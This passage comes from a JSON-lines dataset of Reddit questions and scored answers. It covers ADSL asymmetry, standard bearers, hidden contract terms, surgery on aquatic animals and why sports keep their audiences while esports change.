highly suggest reading the following book which discusses the ball game iconography as well as other sacrifice in Mesoamerica.\n\n* Tiesler, Vera, and Andrea Cucina, eds. New perspectives on human sacrifice and ritual body treatments in ancient Maya society. Springer Science  &  Business Media, 2007."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "pm033", "title": "why is adsl asymmetric?", "selftext": "I thought I was smart today when my nephew asked what ADSL stood for.  That lasted for about 1/2 a second until he asked why it was asymmetrical...\n\nWiki says\n > Currently, most ADSL communication is full-duplex. Full-duplex ADSL communication is usually achieved on a wire pair by either frequency-division duplex (FDD), echo-cancelling duplex (ECD), or time-division duplex (TDD). FDD uses two separate frequency bands, referred to as the upstream and downstream bands. The upstream band is used for communication from the end user to the telephone central office. The downstream band is used for communicating from the central office to the end user.\n\nFrom That I gather that the downstream simply has more bandwidth compared to up, is that correct?  Can anyone ELI5 how ADSL works?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/pm033/why_is_adsl_asymmetric/", "answers": {"a_id": ["c3qf48u", "c3qfhmz", "c3qjcaa"], "score": [18, 3, 2], "text": ["Basically its by design.\n\nYou can get SDSL, which has symmetrical bandwidths, and theoretically you could get more upload than download.\n\nHowever the reason is that the majority of end-users spend much more time downloading than uploading. So we deliberately divided the fixed amont of bandwidth unevenly so there's more capcity for downloading.", "A telephone line works somewhat like radio: you have a range of frequencies that can pass through, and need to divide it up between different things.  In this case, you have three things: normal telephone calls, data from the Internet to you, and data from you to the Internet.  There's also an upper limit to the frequency range that a particular telephone line will support (aka the \"bandwidth\", using the traditional definition of \"bandwidth\")... this is why DSL speeds can vary depending on how long/old/crappy your phone line is.\n\nThe asymmetry comes from where the two frequency bands for data are split.  You can split them however you'd like, but for most users, maximizing the Internet-to-you bandwidth is beneficial.\n\nSame general theory applies to cable modems, but other technologies (mobile, satellite, etc) add a bunch of other stuff that will be discussed in the sophomore class for 6-year-olds :-)", "I live in Denver, and every Sunday evening, there is a huge traffic jam from the surge of people coming back from skiing who all have to go through the four lane Eisenhower tunnel.\n\nSince all those people are going to Denver, and very few are going back to the mountains, they reconfigure the tunnel so three lanes go into Denver, and only one comes back.  More traffic flows, and most everyone is happier.\n\nYour internet traffic works the same way.  Most people download way more than they upload.  So dividing your connection to be 50:50 means a lot of it is going unused.  But if it is configured to be, say, 90:10, your downloads will go nearly twice as fast, at the expense that the rare upload will take 5 times as long.  For most people, that is a good trade."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "34upb8", "title": "What was the point of Standard Bearers in Armies?", "selftext": "Just whats the point, you are essentially pointing out your position to the enemy. And they would most likely do the same.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/34upb8/what_was_the_point_of_standard_bearers_in_armies/", "answers": {"a_id": ["cqyarfn"], "score": [3], "text": ["hi! you'll find more in this earlier post\n\n* [How the flag bearers, standard bearers etc. fought in battles? What was their role in battle? Where in formation were they positioned? What happened when they were killed?](_URL_0_)  - responses by /u/DonaldFDraper and several others"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/21f4us/how_the_flag_bearers_standard_bearers_etc_fought/"]]}
{"q_id": "bv0wkm", "title": "what\u2019s preventing companies from putting something along the lines of \u201cyou agree to pay us $1000\u201d somewhere deep inside the terms and conditions that no one reads but agrees to anyways?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bv0wkm/eli5_whats_preventing_companies_from_putting/", "answers": {"a_id": ["epk0j93", "epk1b45", "epk2sdx", "epk32av", "epk3ipc", "epk4otq", "epk6fzj", "epkaa6w"], "score": [3, 91, 16, 15, 4, 3, 3, 3], "text": ["1) good luck collecting\n\n2) good luck demonstrating who exactly pressed \"I agree\" to a judge\n\n3) contracts require consideration. If you purchased the product, you can agree to terms, but they cannot force you to do something.", "Well first of all, you should *always* read every contract and term of service/condition of use *fully*. That being said, companies or parties can't just throw whatever they want in there. There are number of legal reasons that could render part or all of a legal agreement unenforceable. What you're describing is called unconscionability.\n\nUnconscionability means that a term in the contract or something inherent in or about the agreement is either so unfair or so against what society as a whole considers acceptable that the contract simply cannot be allowed to stand as is. So if some party added a clause to an agreement that says you have to give them your first born child or that you agree to be turned into a human centipede, a court would (at least in theory) invalidate that.", "LPT: don't buy something on the day of release. Give it a day or two and something like that would be all over the front page of Reddit.", "There is a term for standard contract provisions that nobody reads: boilerplate.  There is a term for contracts composed entirely of provisions that nobody reads: boilerplate contracts.\n\nThe actual terms of a boilerplate contract aren't as important as whatever the industry norm for similar contracts are.  Boilerplate contracts are deemed to contain all provisions that would be normal and expected in a given industry, *and only those provisions.*\n\nBecause hidden terms like that are not the norm in any industry, they're not enforceable.  \n\nEssentially, society understands that boilerplate contracts are a thing and nobody expects that you're going to be able to read or understand such contracts.  Because of that, all you're agreeing to when you sign a boilerplate contract is to treat one another the same as anyone else in the industry would.  \n\nImportantly, this doesn't mean that you can only be held to contract provisions that *you personally expect*.  Most boilerplate contracts contain forced arbitration and choice of law clauses that are enforceable against you.  All this means is that in order to be enforceable, a boilerplate term has to be something that *someone well versed in the industry* would expect to be there.  In the same vein, they can't leave out terms that someone well versed in the industry would expect either, but that's usually less of an issue.", "The short answer is that you can put whatever you want in a contract, but it doesn\u2019t mean you can enforce it. And there is a big difference in enforcement between a contract signed by both parties and initialed in several places to show that both parties read and understood the agreement vs checking a box that says \u201cI agree.\u201d", "Didn't a video game company come out a few years back saying in the contract that once you agree to the contract they own your soul?", "Distracted reader test, at least in Canada contracts have to be reasonably understood by consumer who is in a hurry.", "The only thing preventing someone from doing that is (1) collection and (2) reputation.\n\nFirst, you've got to be able to collect. It's certainly not illegal and it would be enforceable. But no one is going to willingly pay it, which means you have to go through the trouble of suing them. And suing someone doesn't magically create money; after you sue them you have to then garnish them. And a big chunk of people are just totally immune to collection efforts due to their income type. So, you're probably not going to get paid enough to justify...\n\nSecond, someone's going to tattle on you. It's outrageous enough to end up on the news the first time you do it. It'll be on the internet. People will find out and you'll end up losing future customers. In the end, you'll end up making way less than you would get through this trick."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "1ryb72", "title": "How do vets perform surgery on aquatic animals?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ryb72/how_do_vets_perform_surgery_on_aquatic_animals/", "answers": {"a_id": ["cds51uc", "cdsdspt"], "score": [36, 10], "text": ["Marine mammals are usually lifted into a sling of some sort to support body weight, and given anesthesia in the usual way for mammals (inhaled isoflurane, or injectable ketamine mixes). Fishes and amphibians are given a compound called MS222 (related to cocaine!) mixed into the water, then during surgery are intubated with a hose providing fresh, oxygenated water over their gills.\n\nSource: I've done surgeries on fishes and amphibians, can't speak personally to the marine mammals.", "I have actually assisted on several surgeries on koi and other fish.  Basically you mix an anesthetic into water (I'm almost positive it was called tricane) and then flush that water over the gills and keep the rest of the body wet.  You can then slice,dice, and stitch as per normal.  The one thing I learned is that electrocautery is very dangerous when everything is wet.  Most of the surgeries we did we're simple tumor removals and went pretty quick.  I'm sure we also trimmed the teeth on a few pufferfish as well.  I was a vet tech specializing in exotics and wildlife for about 4 years."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9lknsl", "title": "how sports are able to keep such high viewership without any change while esports games need to change constantly to stay relevant?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9lknsl/eli5_how_sports_are_able_to_keep_such_high/", "answers": {"a_id": ["e77eqsj", "e77eu45", "e77hjl3", "e77i6re", "e77krnn", "e77lkdq", "e77noev", "e77o1j8", "e77pdt9", "e77pe0t", "e77pgsp", "e77phov", "e77pi1q", "e77pnt2", "e77q54t", "e77q6mw", "e77q9g2", "e77qjh1", "e77qqad", "e77r2la", "e77romo", "e77rzxp", "e77s74v", "e77s7x6", "e77s97q", "e77t2zr", "e77ts31", "e77u3w1", "e77u9yb", "e77upna", "e77v2qi", "e77vqpu", "e77xele", "e77y0zv", "e77y73n", "e77ymva", "e77yocl", "e77z348", "e77zr54", "e783t07", "e7847d2", "e788hr6", "e78d8cw", "e78mop9", "e78ve8t", "e791n94"], "score": [203, 3, 4677, 115, 6, 43, 4, 83, 60, 2, 6, 2, 20, 7, 32, 226, 11, 6, 3, 3, 4, 2, 2, 11, 78, 5, 29, 9, 45, 25, 12, 3, 7, 1253, 4, 4, 12, 3, 4, 2, 3, 2, 2, 2, 2, 3], "text": ["One major reason is likely that traditional sports teams, etc have roots in physical towns, regions and a such the whole culture of those towns and regions. Your local team becomes part of your identity which is reinforced by all of your neighbors and family and friends also supporting that team and thereby the sport as a result.  When you go to a game or the bar you are surrounded by fellow fans and you feel supported, accepted, and part of something bigger. Support therefore stems from a lot more than just pure entertainment, but has much deeper emotional roots, you actually feel a proper sense of love, elation and pride as if it were your own when your team scores, as opposed to just being interested in the strategy or technicality like esports fans may be. Even if they do feel that, it isn\u2019t as engrained as traditional sports are, where there are thousands of people who feel that way about football for every one or two who support DOTA for instance. Viewers therefore reinforce each other to keep viewing to a much greater extent, and are much less likely to get bored, because it\u2019s almost more about that emotional aspect than the actual plays, etc.\n\nWell, that\u2019s at least part of the answer\n\nEdit: Not saying this couldn\u2019t become the case for esports, or isn\u2019t the case in some places, but rather that the physical presence of so many more fellow fans as a result of regional fanfare and this spanning across generations in traditional sports and this becoming part of family and community identity is part of the reason for the more unfaltering support of traditional sports.", "I suspect that this answer requires some research to answer completely and would probably have many answers, ranging from the generational lines that usually are the cutoff for each ones\u2019 audience, to a general lack of attention span and a demand for instant gratification in online entertainment sources, to the reasonable expectation that digital games usually do change affecting people\u2019s increased boredom, compared to people not expecting physical sports to change.\n\nI would assume it\u2019s also got something to do with real world sports having a built in city/state pride involved that makes it entertaining beyond the sport itself, whereas esports are more about individuals? \n\nAlso maybe because the bar for entry is more inclusive for esports and is more about mental ability and reflexes, so it\u2019s more interesting to watch someone like that be tested by more mentally stimulating things, which involves change? As opposed to the entry bar for physical sports obviously being more about someone physically being better at the same thing, so the impressiveness about that is someone just training harder to surpass an otherwise fixed and objective goal (to follow a universal set of rules).", "Video games exist in a consumer bubble.\n\nSports don't. Sports don't change. Sports don't get re written, or replaced. You can't change physics. And to get good at a sport athletes spend hundreds of thousands of dollars and for some sports their entire lifetime getting good at it. \n\nThen take a new game. It's going to be replaced by another new engine with better graphics that takes what that game did, but does it better.\n\nPeople want esports to be taken seriously like real sports. It's competitive and entertaining. But something new comes along all the time. Even the most popular, intensive game like dota, hasn't existed a fraction of the time of a lot of the popular sports. So it can't have the same trans generational appeal.\n\nSports largely exist as entertainment. That's why they have monetary value (advertisement potential). But they exist in our society for complex reasons like mastery, didactis and some believe a replacement for war. Esports will always struggle to be in the same area because they can't natually/quickly appeal to society outside those who play the game. There isn't a physical component to it either. Your grandfather can't sit there and watch you play and be impressed the very first time he see's it. But he can watch someone basically defy physics on the tv and be impressed the very first time. He can make sense of what he's watching. And again, 10 years from now that game will be replaced; there never will be a catch up period.\n\nEdit: so this is what it's like to be one of the first commentators on a thread. Cool. Hi mom", "It is a fallacy that sports never change though!\n\neg Association football has changed the rules in various ways since the FA's code in the 1860s. Most of them are kind of cosmetic things like red cards and lines on the pitch but some are more substantial like the off-side rule or penalty kicks. And that's before adding in tournament-specific rules like penalty shoot-outs etc.\n\nThe changes are all designed to make the game more interesting and/or fair/make money.", "My guess it\u2019s that it\u2019s due to sports being physical. There\u2019s no real cap on what a professional athlete can archieve (speed, strenght, techinque, you name it). Just look at olimpic records; they keep one-upping each other in most cases.\n\nVideogames, though, are capped by the game\u2019s engine itself, once the player\u2019s performace reach a certain level, and the META is refined to every single detail.", "Because in live sports things change constantly because they are grounded in the real world. Things that happen are happening in a real and dynamic environment, so even when they are trying to do things mechanically identically, the fact that they're in the real world means it's still different every time. When all of the real world differences are stripped away by the computer, a person clicking in the same pattern a few times is identical on the screen.\n\n\n\n\nThe bigger reason is that you can't follow esports easily of you don't play the game, whereas you can understand the gist of most sports just because it is humans doing the things on the screen. Everyone knows what throwing a ball looks like, and what it looks like when it's done impressively. Nobody who hasn't played Dota or watched lots of it knows what a dragon slave is or looks like. \n\n\nThis means that love sports can constantly refresh their audience with new members, whereas to get new esports watchers you basically need new esports players. The changes to the game are to get people to play, not to watch. ", "Not as drastic as e-sports, but sports also change. The rules are changed, in a sense to stay relevant or at least not to stagnate. I don't know the details, but rules of wrestling competitions had a big overhaul years ago. The soccer rules are changing steadily for a more streamlined game. I remember back then when they have decided to ban back passes to goalkeepers and forcing goalkeepers to start the game in 6 seconds when ball is in their hands. Also, if you were to watch a match from 80's, you would see sliding tackles that would result a direct red card today deemed legit by referees. The traditional sports, although the essence is still there (Still there are two guys trying to topple each other or 22 guys running after the ball), are also evolving.", "It depends on the game. Counterstrike has gone fairly unchanged since it came out and most players don't want change. If a game requires it to be constantly changing in order to be a success then its not a very good game/esport. ", "Sports fans are fans of a sport. \n\nEsports fans are fans of video games. \n\nThe expectations of those two groups of people are very different. ", "Because in actual sports you know it's real people competing, using their physical skills, giving their 100 percent trying to come out on top at the end.Thats pretty much what human history is all about.\n\nIn Esports what you watch is bunch of computer designed .jpeg files interacting with each other, doing what the game developer designed them to do.\n\nI hope that's helpful.", "If you take association football as an example, the rules might not have changed that much in the last 50-odd years, but the tactics have changed tremendously. In a video game, the advantageous strategies you can use are pretty limited because the number of variables you can tweak is pretty limited. The variables in a game of football are pretty much unlimited.", "The players change all the time. The question is really why do people stick with the team name over other factors? Teams can trade players, coaches and even move cities, but still retain their fans. There are games that model this, they are sports games (think of all the madden games).", "E-sports don't *have to* change constantly. But for most it's easier to attract players and spectators by doing so. Counter-strike, which has a very high amount of tournament viewers, is basically the same game since its inception. The fundamentals have been tweaked numerous times, but never really changed. The reason traditional sports don't tweak their rules often is that they've been around long enough to have refined them already.", "In video games, something can only happen if it is programmed to happen. The things that a player can do are very strictly limited by the programming. This goes beyond the rules of the game, and into things like the engine used to run the game. This means that there are a finite number of things that are possible. \n\nA person who plays a game a lot, like a professional player, is going to get a very solid understanding of not just the rules of the game, but the rules of the game universe. They know that doing XYZ under circumstances ABC will result in 123 happening. Randomness is eliminated. I press the button at the right time 100 times, the ball goes into the hoop 100 times.\n\nIn real life, the exact same thing is true. However, the \"programming\" of real life is massive when compared to the programming of a video game. At the moment, no single person has the ability to get a solid understanding of the rules of the universe. Heck, the collective knowledge of mankind has barely scratched the surface. No matter how many times you practice throwing a ball through a hoop, there will always be factors that you are unaware of or unable to account for. \"Randomness\" is a bigger factor. I throw a ball into a hoop 100 times, I probably miss a few times.\n\nSo, real sports have a degree of randomness and significantly more skill involved in overcoming the randomness of the situation. Esports have far less randomness involved and the skills involved are significantly more mechanical. Against two evenly skilled opponents, it often comes down to rock-paper-scissors. \n\nThe result is that people tend to get bored of Esports more quickly. Enough people figure out the system of the game and can predict the outcome of matches very early on. \"Looks like Tommy messed up his build queue, he's going to end up losing in 30 minutes.\" \"Scott is going for marines, but Bill is going for roaches. Bill will win.\"\n\nAs a result of this, Esports need to constantly change in order to keep the attention of the viewers. Because people figure out the rules of the universe so much more quickly in games than in real life, they need to change the universe more often in order to maintain randomness.", "Esports are awful to watch unless you play the game at a serious level. Anybody can learn the rules to a sport and follow it.\n\nBrood war is the only Esport that comes close to a real sport in terms of loyalty and fans in South Korea, but I would liken esports more to chess than any real physical sport.", "Maybe there's something to be said for games that can't be subject to change. Instances that comes to mind are the competitive Super Smash Bros. Melee scene and the speedrunning community. \n\nCompetitive Melee has grown in popularity over the years despite being a 17 year old game with zero updates from Nintendo. I don't know too much about speedrunning but many of the interesting runs to watch are of games that are no longer actively patched/updated. \n\nI'd like to think that the competitive scene truly flourishes after having been established and people are trying to perfect their mastery of the game rather than perfecting the game itself. ", "Because video games are not a real sport and thus don't garner the same level of respect that real sports and real athletes enjoy. The NFL doesn't need to change up the game fundentally because a RB taking a handoff, juking two or three players, and the trucking the safety and then cruising in for a 50 yard TD run will always be exciting and fun to watch.\n\nIt's cool that professional level video game players exist, but conflating them with real athletes and then expecting similar levels of viewership/respect is a flawed approach. ", " e-sport viewers have the attention span of a gnat who want a shiny new dangle toy every so often.", "There are a lot of posts here talking about physical sports vs esports, but what about (largely) purely intellectual contests? Leaving aside the definition of sport for a moment, chess and poker still keep a fanbase, and while they both innovate, a game of Texas Hold'em / a game of even bullet chess would be recognisable to a player from 50/100 years ago.\n\nI think the most obvious difference is that esports is still a very young field. Maybe in another 10 years we will have 'classic' formats that don't really change that fast - something that will come about by evolution and a certain amount of trial and error. Those stable formats will have to time to generate a culture and a history that keeps fans engaged, and provides a context for competition and achievements: a certain amount of 'lore' if you will.\n\nAs a personal point, I don't think that most esports have yet figured out the fan experience yet. Most sports fans aren't players (at least, most aren't that good). For example, a lot of esports don't seem to realise that the best viewpoint for a player is not the best view for the spectator (especially in a multiplayer environment). I watched a CS tournament on TV, and almost everything was a reflection of player's own screens, and therefore incredibly confusing as a result. This makes stuff appealing only to the initiated/hardcore fan.\n\n", "Thing is, a lot of sports are actually in dire need of comprehensive rule changes but you'll ever never see them or see them happen far too late because there's too much money invested in that sport's status quo.  American Football is the biggest example; it needs radical, fundamental changes to stay relevant but ownership and fans and corp sponsors will never allow those changes to happen.", "Remember when they tried to add trampolines to basketball or wrestlers to football?  They try gimmicky changes and nobody likes them.", "Because when you watch football or whatever, you see the actual players.  When you watch LoL or whatever, you see computer generated models.  The actual players change over time in appearance, and are also swapped around.  The computer models also need changed around and swapped around.\n\nThis is just one minor reason.\n\nAnother is that anyone can play a video game online, but you have to actually work to get a game of soccer going or whatever.", "Esports don't have to change to stay relevant. It just looks like that because every esport decides to make changes. CSGO was basically the same game for years, and didn't really drop off at all. Supersmash bros is also a good example of an esport that doesn't really have changes and still seems to grow. \n\nI'm pretty sure other big games would stay relevant if they stopped making changes, except for the ones that are already dying. \n\nAnd sports also tend to make small changes to the rules every now and then. ", "esports is not sports. Just because some businessman decides to call it sport to make it attractive, it does not change the fact that it is just competitive gaming, and it is cool for what it is. But please don't call those nerds athletes lol. Plus, not one sport is owned by anyone, but all video games are intellectual property of someone.", "One issue is that in sports, the player and the game are one. For example, you might say that an Overwatch player is a great Tracer, but he and other DPS players on other teams only play Tracer so much because the character is overpowered. And as a result, Blizzard nerfs Tracer or buffs her counter or whatever. In physical sports, there are just skilled players, there's no question of an issue with the game itself like that.", "Because real sports takes years to adapt to a \"meta\" While e-sports \"meta\" is adapted to in a couple clicks. And will become the standard for the remainder of that game season. \n\n\nFor example using \"meta\" in NBA terms. The current meta-game is the \"golden state warriors\" heavy 3 point shooting and spaced out offense, They have been the team to beat for the past 5 years, a combination of player skill and elite coaching/playmaking led them there. This cannot be easily replicated and is the reason why they eviscerate the 2nd best team in the league with ease. \n\nIn a video game, players quickly use mathematics and map sense to find \"OP\" team combinations and implement them as soon as possible. Once other players become aware of this they can easily switch their meta game as well or else they can't compete. While I know player skill has alot to do with gaming. It will always be held back by character design that makes it \"easier\". hence the term \"OP\" and \"cheese\". simple tactics that any player can pickup and become relatively skilled. I can't jump on nba court and expect to score a basket. I'm sure I could jump on a pro esports team and get a couple kills if you point me toward the character who best manipulates the game mechanics.\n\n", "Two reasons:\n\n1) The sports that have large audiences have evolved and been refined for decades and even centuries: basketball, football, baseball, racing, etc.\n\nLate 1800s baseball looks nothing like baseball today. \n\nThere are very few sports which have become popular within the last 20 years, perhaps MMA is the one that comes to mind. Though you can argue that even MMA has existed for many decades and was refined somewhat before it became further refined by the UFC.\n\nSo changing and evolving to find a format that works and attracts audiences is something that sports have had to do, just like esports are doing.\n\nAlso, I think many video games were not designed with large audiences in mind. I love to play Civ or WoW, but I don't want to watch other people play them for hours on end. Some people do, but they're not designed with audiences in mind, they're designed with a single player playing or multiple people playing together. They are not spectator activities, they're participatory.\n\nIn the physical world, hiking is a great participatory activity, but it doesn't make for much of a spectator activity.\n\n2) There are many more sports which do not attract large audiences than those that do.\n\nIn the United States (where I live, it varies by country), very few people tune in to watch curling, kayaking, horseshoes, badminton, dodgeball, volleyball, polo, water polo, archery, sailing, weightlifting, lacrosse, rugby, ultimate, or skiing. Some of those sports have professional leagues here, but attendance and pay are minimal. Some of them get watched every 4 years during the Olympics but that's it.\n\nNow think about games. Hardly anyone watches chess, backgammon, bowling, darts, go, scrabble, or crossword puzzle competitions on TV.\n\nThe number of sports and games that are watched by large audiences is far smaller than the number of sports and games that are not watched much at all.\n\n\nI think that esports will be popular if the game is designed from the beginning with spectators in mind. Hardly anyone watches chess on TV these days, but millions watch Jeopardy and Wheel of Fortune. In order to be popular, something has to be designed for spectators.", "To be fair, there is nothing to gain at being at an esport event other than the crowd. Watching someone at a console push buttons on a controller does not have the same effect of watching Lebron slam one down in person 50-100ft away. The physicality, the banter between players, the coaching, all aren\u2019t seen on the esport scene. I\u2019m grateful we live in an age where I can stream a grand final tourney, but BEING at a stadium for a walk off grand slam will always be more memorable than a great clutch headshot and watching them move mouse and click keystrokes. I enjoy both, but computers and video games start their public use around the 70s. Sports have existed since people have been around. ", "I like video games, I also like sports. I'm at a point where I've probably put more time into video games. \nThere's something far less impressive about being good at video games than sports. Call me lazy for not even trying to explain it. It just feels obvious. ", "I'd imagine it's because people have much more respect for elite athletes vs elite gamers.   Yes, I know becoming an elite gamer takes work and skill yes I know but its peanuts compared to the work and skill of a real athlete.  ", "Esports are boring. Period unless you know what you are watching its just plain _URL_0_ least with real sports even the most lame person can make out the jist of it. Sorry esports will never be a thing outside of its fans and even then how long till the newest \"fortnite\" mega hit that changes it up?", "Graphics don\u2019t get outdated in real life.\n\nAlso most traditional sports have a history of more than 100 years during which they\u2019ve been always evolving and still are to avoid becoming stale.", "One very simple explanation is, there is more on the line in real.life sport. There are high chances of injury. For example boxing, MMA people get hurt for real. In my honest opinion I would rather watch something where the stakes are higher. ", "Sports, in general, are immediately impressive. You don\u2019t need any context to be amazed by speed, dexterity, explosiveness, size...the list goes on. You know you can\u2019t do what you see these athletes do.\n\nEsports require insane context. Most people have no idea if what they are watching is hard (and the skill and dedication it takes) or not until they\u2019ve experienced it directly. ", "Simplest answer is that in traditional sports the athlete is the entertainment, their personality, talent and effort are what draw in viewers, the game is just a structure to show those things off. In e-sports the game is the draw, the developers the real stars, some players/teams will get notoriety by really they main purpose is to drive the game forward and challenge the developers. If the players and systems don\u2019t challenge the developers then the game becomes stagnant and uninteresting, something that won\u2019t happen in traditional sports because the game isn\u2019t the driver of entertainment value.", "There's a LOT of factors at play here.  I'm going to do this in one shot, so excuse my if I jump around and lack cohesion at some points, it's more of a thought dump.\n\nSource: Former upper management at a professional esports organization in NA.\n\nLet's start with culture.  But it goes beyond that too.  Humans, in general, are stubborn and lazy.  This isn't a derogatory either.  We do this to simplify things and keep routines so the brain doesn't have to work as hard.  So changing things is really hard.  Like MLB.  If the baseball was founded in 2015 and the MLB in 2016, it would NEVER EVER make it to television.  Having a primetime TV spot every night is huge!  You have no idea how much exposure that gives you just from TVs being left on.  You gain fans and viewership that way in ways that are immeasurable.\n\nBut not only that, as stated, MLB would NEVER make it to TV at all.  With the exception of say the NYY, BRS and maybe the Dodgers, no team carries the viewership to make MLB sustainable.  Most baseball games DO NOT sellout anymore.  If the yankees are in town or it's a noteworthy rivalry, yea, aside from that, no.  Most teams subsist on corporate sponsors and, just a guess, 1/4 or more of the seats on any given night are GIVEN away freely.  When Sony sponsors the Yankees for $3M+/year, Sony gets STACKS of tickets every week to give out to employees, friends and family.  I'm serious, stacks, thousands of tickets.  WB Mason, all the sponsors of every team, they get stacks of tickets to fill that stadium.  This is also why a hot dog and a beer costs you 30$.  Your subsidizing the seat.\n\nAnd speaking of sponsors, money makes things better.  Do you think MLB and NFL get multi million dollar sponsorships in 30 second pitch meetings?  No, they've been cultivating these for decades.  The new guy in town has 30 seconds to prove themselves.  The NFL has had 60 years of meetings to continue to establish value.  It is NOT a level playing ground, so this makes it really hard for esports to get the resources and exposure it needs to grow like the NFL.  \n\nBut that doesn't answer the changes about the game.  The NFL and MLB do change.  All major sports do!  They get rule changes every year.  We just don't get the patch notes unless you go digging.  They don't affect the group of guys who play rough touch after work on fridays.\n\nSports basically have devs making changes too, but they go less noticed, until they're major and you hear about it in the news like the NFL changes to roughing the passer or what is a completion.  This draws controversy and sometimes that helps.\n\nAlso, players change the meta in traditional sports too.  Football started out as running the ball and kicking field goals.  A forward pass wasn't a thing.  You just don't see insane innovation like that EVERY game.  Esports has had a very short lifespan so far, 20-25 years.   CS 1.X had a REALLY long run too, basically with only minor rule changes, 1.3, 1.4, 1.5, 1.6.  Thats WAY less changes than the NFL has had in that same timespan.  But at the end of the day, when the NFL changes the rule is the same as Valve patching DOTA.  The meta evolves accordingly.\n\nYou also don't realize how many sports have come and live in the shadows too.  XFL, American Ninja Warrior, Crossfit games (lol), World Arm Wrestling Championship, Drone Racing.  You're essentially comparing a specific esports title to the exception, NFL.  NFL is setting all the rules of sports viewership, this is all uncharted territory.  The same goes for esports.\n\nBut why aren't people bored of football?  Well, they change the rules to keep it interesting.  Remember how bullshit OT used to be in the NFL?  Patched.  Remember toe kickers in the NFL who could hit a FG at 70+ yards but it was 50/50, now they do it at 50 for something like 85% of the time.  Meta change.\n\nA lot of it also has to do with regionalization of pro sports (which was innate, because some of them existed before TV and obviously streaming).  Most fans of a pro team are a fan because they were born there or because their parents were/are fans.  It's part of the culture.  And changing culture is REALLY HARD.  It takes generations for that to happen (as mentioned earlier, humans are stubborn and lazy).\n\nIf you saw MLB started in 2015, they'd most likely try to consolidate all the pro talent in one major city, form a bunch of teams and play out of one stadium to conserve costs.  Exactly like LCS does.  Traveling to all these cities is a MASSIVE luxury you can only afford to do with the resources they have had a stranglehold on for generations.\n\nThe reason for this stranglehold is again, the stubbornness and laziness of humans.  30 second pitch meeting, don't like it?  Not taking any esports meeting for the next year or 2.  This takes forever to change.  Some of the biggest esports sponsors only got involved because someone young rose through the ranks over the years to get to a decision maker position and was either a friend of an owner OR was already a fan and wanted to get involved that way.  These resources make it possible to advertise your matches on reddit which drives viewership.  Do you realize how much advertising you see for the world series?  It's every other fucking commercial during October.  If the sport is that enthralling, why spend so much on advertising?  They get deals through their corporate partnerships and they need the exposure.  Esports doesn't have the resources to do this, for the most part.  It's getting there.\n\nBut there's a lot of people who still just don't \"get it\".  And this is really evident.  Let's take DOTA2.  25M+ raised for TI prize pool (100M donated), PLUS all the twitch subs, PLUS all the direct donations to players, PLUS all the other money spent in game, PLUS all the time spent watching, PLUS whatever else I'm not thinking of.  DOTA2 has one event that generates more revenue than some countries!  A lot of businesses and people just don't understand how to tap into that.  Granted, it's also really hard.  But with that much money being thrown around, you'd think they'd see the value and would invest the time it takes to figure out how to get their piece of the pie.\n\n\nThere's really so many factors here.  If you want to know more, feel free to ask, I'm gonna go grab some lunch.", "Personally, I don't like it being called e-sports at all... as it doesn't really meet the definition of sport at all (see below).    There is a huge amount of skill to be good at a video game, but you can be a 400lb out of shape neckbeard and be great at video games, which you cannot for virtually any other sport (which plays into what others have said about impressing a casual observer).\n\nI think esports are virtually never interesting to a casual observer - they are really only interesting to those who also PLAY the games, whereas most fans of football, futbol, baseball, basketball, etc have either never played or not since they were kids.\n\n_URL_0_\n\nsport\n\n[spawrt, spohrt]\n\nnoun\n\n 1   an athletic activity requiring skill or physical prowess and often of a competitive nature, as racing, baseball, tennis, golf, bowling, wrestling, boxing, hunting, fishing, etc.", "The overlooked reason here is that sports and games with longevity are symmetric. In football, basketball, and even games like Chess and Go, both sides begin with exactly the same initial conditions aside from the skill of the players involved.\n\nThe games are also sufficiently complex that they aren't \"solved\" like tic-tac-toe and checkers, so there is enough variety to keep people watching or playing them.\n\nAs others have said, games that exist in the real-world and are complex enough require a lifetime of training to get good at, and actual sports require significant and noticeable changes to your physical body as well.\n\nYou don't need to change the game to make it interesting when you meet those criteria.", "Because the \u201ce-sports\u201d name is misleading. Sports and video games are two completely different things.", "Which esports games in particular are you referring to? Most changes to popular esports games are balance related, as opposed to sweeping redesigns in an attempt to keep the game intetesting. The most popular esports games have had the same core gameplay beyond those balance changes throughout their life cycle, for the most part. The biggest thing would be new content (maps, weapons, characters etc), which is usually introduced as a form of balance, but yes, to also keep things fresh and exciting because there's a lot more competiton, and new competiton being introduced regularly.\n\nThe main reason esports games die is either because something new in the same or a similar genre comes along and goes viral and blows up and splits/pulls viewership, or the game fails to breakthrough and garner enough attention to become and remain relevant. Typical sports don't face the same issue. When was the last time a new sport popped up and became popular enough to contend with an existing staple? Probably mma pulling people away from boxing, but that didn't happen overnight, and boxing is still pretty popular and relevant. \n\nPeople also tend to have a visceral reaction to unpopular balance changes or new content which can make a game less exciting to watch. Sports can have minor rule tweaks, but there aren't \"balance\" changes, new field layouts/configurations aren't introduced, a new kind of ball or goal isn't added, etc.", "Sports do change over time. They just change at a much slower pace. Take basketball for example. In college, I did a study of basketball from 1990-2015 and the changes in test structure over time using a clustering algorithm. It showed that in 1990s the \"meta\" (using gaming lingo) was to have a 7' center, 6'10\" PF, 6'8\" SF, 6'6\" SG, 6' PG as the lineup that gets the most minutes. The reason? In the 80s, Magic Johnson and Kareem in LA and Larry Bird in Boston and they changed the way the game was played--you had to have people who could guard all of them or you would lose. By the time LeBron came around, the PF position was completely redefined because you had to deal with him. Basketball also makes rule changes that cause the change in meta. For instance, basketball in the 90s did not allow zone defenses. If you double teamed someone you had to literally run at them to avoid an illegal defense. It also allowed more physical play such as extending your arm in the post to hold the offensive payer in place. Also no flagrant could. All of those rules have changed and this has made smaller players more useful in today's game because you can't just straight overpower them. Now we see the birth 